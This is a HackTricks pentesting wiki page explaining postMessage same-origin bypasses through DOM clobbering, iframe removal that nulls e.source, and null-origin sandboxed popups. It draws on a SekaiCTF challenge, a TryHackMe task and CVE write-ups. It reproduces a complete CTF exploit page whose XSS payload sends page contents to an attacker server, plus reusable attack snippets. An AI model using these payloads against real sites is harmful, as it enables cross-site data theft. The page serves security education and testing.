bypassing-sop-with-iframes-2.md (8063B)
1 --- 2 title: "Bypassing SOP with Iframes - 2" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Bypassing SOP with Iframes - 2 14 15 ## Iframes in SOP-2 16 17 In the [**solution**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc/solution) for this [**challenge**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc)**,** [**@Strellic\_**](https://twitter.com/Strellic_) proposes a similar method to the previous section. Let's check it.<sup>[[3]](#references)</sup> 18 19 In this challenge the attacker needs to **bypass** this: 20 21 ```javascript 22 if (e.source == window.calc.contentWindow && e.data.token == window.token) { 23 ``` 24 25 If he does, he can send a **postmessage** with HTML content that is going to be written in the page with **`innerHTML`** without sanitation (**XSS**). 26 27 The way to bypass the **first check** is by making **`window.calc.contentWindow`** to **`undefined`** and **`e.source`** to **`null`**: 28 29 - **`window.calc.contentWindow`** is actually **`document.getElementById("calc")`**. You can clobber **`document.getElementById`** with **`<img name=getElementById />`**. The Sanitizer API proposal discusses DOM-clobbering considerations separately from ordinary markup sanitization.<sup>[[5]](#references)</sup> 30 - Therefore, you can clobber **`document.getElementById("calc")`** with **`<img name=getElementById /><div id=calc></div>`**. Then, **`window.calc`** will be **`undefined`**. 31 - Now, we need **`e.source`** to be **`undefined`** or **`null`** (because `==` is used instead of `===`, `null == undefined` is `true`). In the challenge's browser behavior, sending the message from an iframe and immediately removing that iframe causes the queued event's **`source`** to be observed as `null`; the serialized **`origin`** is a separate property.<sup>[[3]](#references)[[4]](#references)</sup> 32 33 ```javascript 34 let iframe = document.createElement("iframe") 35 document.body.appendChild(iframe) 36 window.target = window.open("http://localhost:8080/") 37 await new Promise((r) => setTimeout(r, 2000)) // wait for page to load 38 iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`) 39 document.body.removeChild(iframe) // the receiver observes e.source === null 40 ``` 41 42 In order to bypass the **second check** about token is by sending **`token`** with value `null` and making **`window.token`** value **`undefined`**: 43 44 - Sending `token` in the postMessage with value `null` is trivial. 45 - **`window.token`** is assigned by a `getCookie` function that reads **`document.cookie`**. Accessing cookies in this sandboxed opaque-origin context triggers an error in the challenge, leaving `window.token` as `undefined`. 46 47 The final solution by [**@terjanq**](https://twitter.com/terjanq) is the [**following**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html):<sup>[[4]](#references)</sup> 48 49 ```html 50 <html> 51 <body> 52 <script> 53 // Abuse "expr" param to cause a HTML injection and 54 // clobber document.getElementById and make window.calc.contentWindow undefined 55 open( 56 'https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"' 57 ) 58 59 function start() { 60 var ifr = document.createElement("iframe") 61 // Create a sandboxed iframe, as sandboxed iframes will have origin null 62 // this null origin will document.cookie trigger an error and window.token will be undefined 63 ifr.sandbox = "allow-scripts allow-popups" 64 ifr.srcdoc = `<script>(${hack})()<\/script>` 65 66 document.body.appendChild(ifr) 67 68 function hack() { 69 var win = open("https://obligatory-calc.ctf.sekai.team") 70 setTimeout(() => { 71 parent.postMessage("remove", "*") 72 // this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because 73 // token=null equals to undefined and e.source will be null so null == undefined 74 win.postMessage( 75 { 76 token: null, 77 result: 78 "<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>", 79 }, 80 "*" 81 ) 82 }, 1000) 83 } 84 85 // this removes the iframe so e.source becomes null in postMessage event. 86 onmessage = (e) => { 87 if (e.data == "remove") document.body.innerHTML = "" 88 } 89 } 90 setTimeout(start, 1000) 91 </script> 92 </body> 93 </html> 94 ``` 95 96 ### 2025 Null-Origin Popups (TryHackMe - Vulnerable Codes) 97 98 A recent TryHackMe task (“Vulnerable Codes”) demonstrates how OAuth popups can be hijacked when the opener lives inside a sandboxed iframe that only allows scripts and popups. The iframe forces both itself and the popup into a `"null"` origin, so handlers checking `if (origin !== window.origin) return` silently fail because `window.origin` inside the popup is also `"null"`. Even though the browser still exposes the real `location.origin`, the victim never inspects it, so attacker-controlled messages glide through.<sup>[[2]](#references)</sup> 99 100 ```javascript 101 const frame = document.createElement('iframe'); 102 frame.sandbox = 'allow-scripts allow-popups'; 103 frame.srcdoc = ` 104 <script> 105 const pop = open('https://oauth.example/callback'); 106 pop.postMessage({ cmd: 'getLoginCode' }, '*'); 107 <\/script>`; 108 document.body.appendChild(frame); 109 ``` 110 111 Takeaways for abusing that setup: 112 113 - Handlers that compare `origin` with `window.origin` inside the popup can be bypassed because both evaluate to `"null"`, so forged messages look legitimate. 114 - A sandbox that grants `allow-popups` but omits `allow-same-origin` can propagate sandbox restrictions to a popup unless `allow-popups-to-escape-sandbox` is also present. Test the actual navigation and browser because the resulting origin and opener relationship depend on those flags. 115 116 ### Source-nullification & frame-restriction bypasses 117 118 Industry writeups around CVE-2024-49038 highlight two reusable primitives for this page: (1) you can still interact with pages that set `X-Frame-Options: DENY` by launching them via `window.open` and posting messages once the navigation settles, and (2) you can brute-force `event.source == victimFrame` checks by removing the iframe immediately after sending a message so that the receiver only sees `null` in the handler.<sup>[[1]](#references)</sup> 119 120 ```javascript 121 const probe = document.createElement('iframe'); 122 probe.sandbox = 'allow-scripts'; 123 probe.onload = () => { 124 const victim = open('https://target-app/'); 125 setTimeout(() => { 126 probe.contentWindow.postMessage(payload, '*'); 127 probe.remove(); 128 }, 500); 129 }; 130 document.body.appendChild(probe); 131 ``` 132 133 Combine this with the DOM-clobbering trick above: once the receiver only sees `event.source === null`, any comparison against `window.calc.contentWindow` or similar collapses, letting you ship malicious HTML sinks through `innerHTML` again. 134 135 ## References 136 137 - [1] [PostMessage Vulnerabilities: When Cross-Window Communication Goes Wrong](https://instatunnel.my/blog/postmessage-vulnerabilities-when-cross-window-communication-goes-wrong) 138 - [2] [THM Write-up: Vulnerable Codes](https://fatsec.medium.com/thm-write-up-vulnerable-codes-9ea8fe8464f9) 139 - [3] [SekaiCTF 2022 - obligatory-calc solution](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc/solution) 140 - [4] [obligatory-calc final solution (calc.html) by @terjanq](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html) 141 - [5] [WICG Sanitizer API - DOM clobbering considerations](https://wicg.github.io/sanitizer-api/index.html#dom-clobbering)